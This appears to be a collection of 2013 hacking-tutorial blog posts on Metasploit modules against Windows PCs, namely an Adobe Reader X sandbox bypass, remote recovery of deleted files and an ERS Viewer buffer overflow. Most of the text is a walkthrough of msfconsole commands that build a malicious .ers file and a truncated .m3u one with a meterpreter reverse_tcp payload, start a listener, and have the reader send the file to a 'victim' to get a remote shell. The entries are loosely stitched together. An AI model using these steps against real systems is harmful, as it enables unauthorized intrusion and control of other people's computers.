Hack Remote Windows PC Using AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass

Raj Chandel — Fri, 24 May 2013 07:50:01 +0000

This module exploits vulnerability on Adobe Reader X Sandbox. The vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe process to write register values which can be used to trigger a buffer overflow on the AdobeCollabSync component, allowing achieving Medium Integrity Level privileges from a Low Integrity AcroRd32.exe process. This module has been tested successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.

Exploit Targets

Adobe Reader X 10.1.4

Windows 7

Recover Deleted Data from Remote Victim PC

Raj Chandel — Thu, 23 May 2013 12:12:56 +0000

This module list and try to recover deleted files from NTFS file systems. Use the FILES option to guide recovery. Let it empty to enumerate deleted files in the DRIVE. Set FILES to an extension (Ex. “pdf”) to recover deleted files with that extension. Or set FILES to a comma separated list of IDs (from enumeration) to recover those files. The user must have into account file enumeration and recovery could take a long time, use the TIMEOUT option to abort enumeration or recovery by extension after that time (in seconds).

Exploit Targets

Exploit Remote Windows PC using ERS Viewer 2011 ERS File Handling Buffer Overflow

Raj Chandel — Fri, 10 May 2013 08:21:42 +0000

This module exploits a buffer overflow vulnerability found in ERS Viewer 2011 (version 11.04). The vulnerability exists in the module ermapper_u.dll where the functionERM_convert_to_correct_webpath handles user provided data in a insecure way. It results in arbitrary code execution under the context of the user viewing a specially crafted .ers file. This module has been tested successfully with ERS Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.

Exploit Targets

ERS Viewer 2011 (v11.04)

Requirement

Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/erdas_er_viewer_bof

msf exploit (erdas_er_viewer_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (erdas_er_viewer_bof)>set lhost 192.168.0.106 (IP of Local Host)

msf exploit (erdas_er_viewer_bof)>exploit

After we successfully generate the malicious ers File, it will stored on your local computer

/root/.msf4/local/msf.ers

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.106

exploit

Now send your msf.ers files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

msf exploit (audio_coder_m3u)>exploit

After we successfully generate the malicious m3u File, it will stored on your local computer

/root/.msf4/local/msf.m3u

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your msf.m3u files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
